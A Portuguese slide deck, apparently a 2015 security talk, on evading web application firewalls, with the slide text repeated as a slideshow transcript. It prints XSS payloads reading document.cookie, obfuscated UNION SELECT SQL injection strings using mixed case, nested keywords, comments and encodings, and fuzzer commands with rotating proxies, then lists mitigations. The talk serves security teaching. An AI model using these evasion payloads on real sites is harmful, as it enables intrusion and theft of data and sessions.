1/ 41
®
Burlando um WAF
22 de junho de 2015
®
2/ 41
®
Quem sou ?
● Antonio Costa “Cooler_”
● Desenvolvedor em ASM, C, C++, Lisp, Perl, PHP
etc...
● Pentest, codereview, engenharia reversa e
pesquisas para problemas diversos etc...
● @Cooler_freenode
● https://github.com/CoolerVoid
● acosta@conviso.com.br
● coolerlair@gmail.com
3/ 41
®
Agenda
● Entendendo o problema
● Burlando um WAF
● Automatizando o ataque
● Sugestões para mitigação
4/ 41
®
Entendendo o Problema
● WAF (web application firewall)
● Filtro com conjunto de regras
● Protege de ataques comuns
● Registra informações de ataques
● Bloqueia ataques
5/ 41
®
Entendendo o Problema
● Filtra tanto Request como Response
6/ 41
®
Entendendo o Problema
● Request exemplo:
GET /sell/cars.php?search=<script>alert(document.cookie)</script >
7/ 41
®
Entendendo o Problema
● Match exato
● BlackList...
● “alert(”,
● ”union”
● “select”
● “script”
● “eval”...
8/ 41
®
Entendendo o Problema
● Block por IP
● DoS
● E se spoofar ?
Spoofing ?
9/ 41
®
Entendendo o Problema
● Regras não são suficientes...
● Expressão regular “regex” não faz matching
10/ 41
®
Entendendo o Problema
● ReDOS (Regular expression denial of service)
● Agrupamento
● Repetição e Alternância com sobreposição
● ([A-Za-z]+)*([0-9]+)*
● ([0-9a-z]|d+)*
11/ 41
®
Burlando um WAF
12/ 41
®
Burlando um WAF
● Como Detectar o WAF ?
● Descobrimento de um WAF pode se dar por alguns fatores são eles
“header” da Response, por cookies e outros meios.
● Pode-se fazer manualmente, entretanto é interessante automatizar
com ferramentas:
● https://svn.nmap.org/nmap/scripts/http-waf-detect.nse
● https://github.com/sandrogauci/wafw00f
● http://code.google.com/p/imperva-detect/
● …
13/ 41
®
Burlando um WAF
Mixed Case
● Em alguns casos o “patern matching” para um elemento de uma
blacklist seria “case sentive”, ou seja qualquer caractere que esteja
fora do padrão não irá passar por “matching”.
● “select” é diferente de “SeLecT”,”sEleCt”,”seLecT”...
● “script” é diferente de “sCriPT”,”ScRipT”...
● Entretanto o paylaod pode ser interpretado seja ataque de XSS ou SQL
injection, isso pois o ambiente que interpreta não é “case sentive”.
● Exemplo:
● /sell/cars.php?search=<script>alert(document.cookie)</script
● /sell/cars.php?search=<SCripT>AlErt(DoCuMenT.cOoKie)</scrIpt>
14/ 41
®
Burlando um WAF
Replace Keywords
● Alguns casos que não ocorre um block, fazem troca de uma string por outra,
exemplo se encontra palavra “union select” substitui por “” ou seja acaba
trocando por nada( apaga a ocorrência de uma palavra), logo á Request
continua não é bloqueada.
● Como atacante pode se aproveitar disso ?
● Exemplos:
● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9
● Assim que o WAF fazer replace(troca) então temos:
● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9
15/ 41
®
Burlando um WAF
Spaces to comment
● Trocar espaços em branco por comentários “/**/”, ou mesmo
adicionar comentários em pontos aleatórios, ajuda a fugir do
“match”.
● Exemplos:
● /sell/cars.php?
search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– -
● /sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!
table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!
TaBlE_ScHeMa*/+like+database()– -
16/ 41
®
Burlando um WAF
Buffer Overflow
● Crashar aplicação forçando buffer overflow deixa o caminho livre para
nossos payloads.
● Exemplos:
● /cars/id/page/=-25+and+(select 2)=(Select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...])+/*!
UnIOn*/+/*!selECt*/+4,5,6,7…
● id=2 and (select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAA...)
+uNIoN+seLecT+2,3,version()...
● Por que isso ocorre ?
● Nem todo WAF segue uma prática correta para limitar o buffer de entrada,
logo um payload com tamanho extremo pode causar buffer overflow.
funções como strcpy(),strcat() sem devido buffer limitado e definido podem
causar estes problemas, por isso o recomendado é usar funções como
strncat() ou mesmo strncpy().
17/ 41
®
Burlando um WAF
● Outras formas...
● Objetivo é o mesmo burlar
18/ 41
®
Burlando um WAF
Encodes
● Codificando os payloads podemos enganar o “match”, os mais
usados são encode64, url encode, double url encode...
● Exemplo:
<script>alert(document.cookie)</script
● Url encode:
%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript
● 64 encode
PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3Jpc
HQ=
19/ 41
®
Burlando um WAF
● HPP(HTTP Parameter Pollution)
● Uma técnica que visa enviar muitos parâmetros para assim
burlar filtros de ambientes.
20/ 41
®
Burlando um WAF
● Mude o IP use Proxy
● Mude o User Agent
21/ 41
®
Burlando um WAF
● Ataques ao mesmo tempo? BLOCK !
● Delay de tempo em cada Request
● Periodicidade no tempo
● Diversidade
-Mudar IP
-Mudar Payload
-Mudar UserAgent
22/ 41
®
Burlando um WAF
● Outras formas...
● obfuscar
● encodar apenas um
caracter etc...
23/ 41
®
Automatizando o ataque
● Por que automatizar ?
24/ 41
®
Automatizando o ataque
● Payloadmask
https://github.com/CoolerVoid/payloadmask
25/ 41
®
26/ 41
®
● Futuro da ferramenta
github.com/CoolerVoid/payloadmask/issues
27/ 41
®
Automatizando o ataque
● 0d1n
https://github.com/CoolerVoid/0d1n
28/ 41
®
Automatizando o ataque
● 0d1n
https://github.com/CoolerVoid/0d1n
29/ 41
®
Automatizando o ataque
30/ 41
®
Automatizando o ataque
31/ 41
®
Automatizando o ataque
32/ 41
®
Automatizando o ataque
● Exemplo:
./0d1n –host http://localhost/test.php –post
”car_name=ˆ ” –payloads payloads/xss.txt
–find_regex_list payloads/guess.txt –log
name_log –save_response –tamper
urlencode -proxy-rand paylaods/proxy.txt
33/ 41
®
Automatizando o ataque
34/ 41
®
Automatizando o ataque
35/ 41
®
Automatizando o ataque
● Exemplo:
./0d1n –host http://localhost/test.php –post
”car_name=ˆ ” –payloads payloads/xss.txt
–find_regex_list payloads/guess.txt –log
name_log –save_response
36/ 41
®
Automatizando o ataque
● Futuro da ferramenta...
github.com/CoolerVoid/0d1n/issues
37/ 41
®
Automatizando o ataque
●
38/ 41
®
Sugestões para mitigação
● Não usar Regex que tenha redundância
● Usar Whitelist e não Blacklist.
● Prevenção sempre, contratar serviços para
auditoria na aplicação
● Não esperar que o WAF faça tudo...
● Sanitizar informações e validar
● Mantenha o ambiente Hardenizado.
39/ 41
®
Agradecimentos !
● IAK, Sigsegv, M0nad, Slyfunky, Clandestine,
Robertux, F117, Loganbr, MMxM, eremita, Mente
Binaria, Otacon, Ephexis, pl4nkt0n, necrist,
dr_gordon, sheilong etc... galera do IRC etc..
● Aos Mestres da CONVISO
● Ulisses Castro por ter dado sugestão do “Tamper”
40/ 41
®
Perguntas ???
41/ 41
®

Burlando Waf 2.0

  • 1.
    1/ 41 ® Burlando umWAF 22 de junho de 2015 ®
  • 2.
    2/ 41 ® Quem sou? ● Antonio Costa “Cooler_” ● Desenvolvedor em ASM, C, C++, Lisp, Perl, PHP etc... ● Pentest, codereview, engenharia reversa e pesquisas para problemas diversos etc... ● @Cooler_freenode ● https://github.com/CoolerVoid ● acosta@conviso.com.br ● coolerlair@gmail.com
  • 3.
    3/ 41 ® Agenda ● Entendendoo problema ● Burlando um WAF ● Automatizando o ataque ● Sugestões para mitigação
  • 4.
    4/ 41 ® Entendendo oProblema ● WAF (web application firewall) ● Filtro com conjunto de regras ● Protege de ataques comuns ● Registra informações de ataques ● Bloqueia ataques
  • 5.
    5/ 41 ® Entendendo oProblema ● Filtra tanto Request como Response
  • 6.
    6/ 41 ® Entendendo oProblema ● Request exemplo: GET /sell/cars.php?search=<script>alert(document.cookie)</script >
  • 7.
    7/ 41 ® Entendendo oProblema ● Match exato ● BlackList... ● “alert(”, ● ”union” ● “select” ● “script” ● “eval”...
  • 8.
    8/ 41 ® Entendendo oProblema ● Block por IP ● DoS ● E se spoofar ? Spoofing ?
  • 9.
    9/ 41 ® Entendendo oProblema ● Regras não são suficientes... ● Expressão regular “regex” não faz matching
  • 10.
    10/ 41 ® Entendendo oProblema ● ReDOS (Regular expression denial of service) ● Agrupamento ● Repetição e Alternância com sobreposição ● ([A-Za-z]+)*([0-9]+)* ● ([0-9a-z]|d+)*
  • 11.
  • 12.
    12/ 41 ® Burlando umWAF ● Como Detectar o WAF ? ● Descobrimento de um WAF pode se dar por alguns fatores são eles “header” da Response, por cookies e outros meios. ● Pode-se fazer manualmente, entretanto é interessante automatizar com ferramentas: ● https://svn.nmap.org/nmap/scripts/http-waf-detect.nse ● https://github.com/sandrogauci/wafw00f ● http://code.google.com/p/imperva-detect/ ● …
  • 13.
    13/ 41 ® Burlando umWAF Mixed Case ● Em alguns casos o “patern matching” para um elemento de uma blacklist seria “case sentive”, ou seja qualquer caractere que esteja fora do padrão não irá passar por “matching”. ● “select” é diferente de “SeLecT”,”sEleCt”,”seLecT”... ● “script” é diferente de “sCriPT”,”ScRipT”... ● Entretanto o paylaod pode ser interpretado seja ataque de XSS ou SQL injection, isso pois o ambiente que interpreta não é “case sentive”. ● Exemplo: ● /sell/cars.php?search=<script>alert(document.cookie)</script ● /sell/cars.php?search=<SCripT>AlErt(DoCuMenT.cOoKie)</scrIpt>
  • 14.
    14/ 41 ® Burlando umWAF Replace Keywords ● Alguns casos que não ocorre um block, fazem troca de uma string por outra, exemplo se encontra palavra “union select” substitui por “” ou seja acaba trocando por nada( apaga a ocorrência de uma palavra), logo á Request continua não é bloqueada. ● Como atacante pode se aproveitar disso ? ● Exemplos: ● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9 ● Assim que o WAF fazer replace(troca) então temos: ● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9
  • 15.
    15/ 41 ® Burlando umWAF Spaces to comment ● Trocar espaços em branco por comentários “/**/”, ou mesmo adicionar comentários em pontos aleatórios, ajuda a fugir do “match”. ● Exemplos: ● /sell/cars.php? search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– - ● /sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*! table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*! TaBlE_ScHeMa*/+like+database()– -
  • 16.
    16/ 41 ® Burlando umWAF Buffer Overflow ● Crashar aplicação forçando buffer overflow deixa o caminho livre para nossos payloads. ● Exemplos: ● /cars/id/page/=-25+and+(select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...])+/*! UnIOn*/+/*!selECt*/+4,5,6,7… ● id=2 and (select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAA...) +uNIoN+seLecT+2,3,version()... ● Por que isso ocorre ? ● Nem todo WAF segue uma prática correta para limitar o buffer de entrada, logo um payload com tamanho extremo pode causar buffer overflow. funções como strcpy(),strcat() sem devido buffer limitado e definido podem causar estes problemas, por isso o recomendado é usar funções como strncat() ou mesmo strncpy().
  • 17.
    17/ 41 ® Burlando umWAF ● Outras formas... ● Objetivo é o mesmo burlar
  • 18.
    18/ 41 ® Burlando umWAF Encodes ● Codificando os payloads podemos enganar o “match”, os mais usados são encode64, url encode, double url encode... ● Exemplo: <script>alert(document.cookie)</script ● Url encode: %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript ● 64 encode PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3Jpc HQ=
  • 19.
    19/ 41 ® Burlando umWAF ● HPP(HTTP Parameter Pollution) ● Uma técnica que visa enviar muitos parâmetros para assim burlar filtros de ambientes.
  • 20.
    20/ 41 ® Burlando umWAF ● Mude o IP use Proxy ● Mude o User Agent
  • 21.
    21/ 41 ® Burlando umWAF ● Ataques ao mesmo tempo? BLOCK ! ● Delay de tempo em cada Request ● Periodicidade no tempo ● Diversidade -Mudar IP -Mudar Payload -Mudar UserAgent
  • 22.
    22/ 41 ® Burlando umWAF ● Outras formas... ● obfuscar ● encodar apenas um caracter etc...
  • 23.
    23/ 41 ® Automatizando oataque ● Por que automatizar ?
  • 24.
    24/ 41 ® Automatizando oataque ● Payloadmask https://github.com/CoolerVoid/payloadmask
  • 25.
  • 26.
    26/ 41 ® ● Futuroda ferramenta github.com/CoolerVoid/payloadmask/issues
  • 27.
    27/ 41 ® Automatizando oataque ● 0d1n https://github.com/CoolerVoid/0d1n
  • 28.
    28/ 41 ® Automatizando oataque ● 0d1n https://github.com/CoolerVoid/0d1n
  • 29.
  • 30.
  • 31.
  • 32.
    32/ 41 ® Automatizando oataque ● Exemplo: ./0d1n –host http://localhost/test.php –post ”car_name=ˆ ” –payloads payloads/xss.txt –find_regex_list payloads/guess.txt –log name_log –save_response –tamper urlencode -proxy-rand paylaods/proxy.txt
  • 33.
  • 34.
  • 35.
    35/ 41 ® Automatizando oataque ● Exemplo: ./0d1n –host http://localhost/test.php –post ”car_name=ˆ ” –payloads payloads/xss.txt –find_regex_list payloads/guess.txt –log name_log –save_response
  • 36.
    36/ 41 ® Automatizando oataque ● Futuro da ferramenta... github.com/CoolerVoid/0d1n/issues
  • 37.
  • 38.
    38/ 41 ® Sugestões paramitigação ● Não usar Regex que tenha redundância ● Usar Whitelist e não Blacklist. ● Prevenção sempre, contratar serviços para auditoria na aplicação ● Não esperar que o WAF faça tudo... ● Sanitizar informações e validar ● Mantenha o ambiente Hardenizado.
  • 39.
    39/ 41 ® Agradecimentos ! ●IAK, Sigsegv, M0nad, Slyfunky, Clandestine, Robertux, F117, Loganbr, MMxM, eremita, Mente Binaria, Otacon, Ephexis, pl4nkt0n, necrist, dr_gordon, sheilong etc... galera do IRC etc.. ● Aos Mestres da CONVISO ● Ulisses Castro por ter dado sugestão do “Tamper”
  • 40.
  • 41.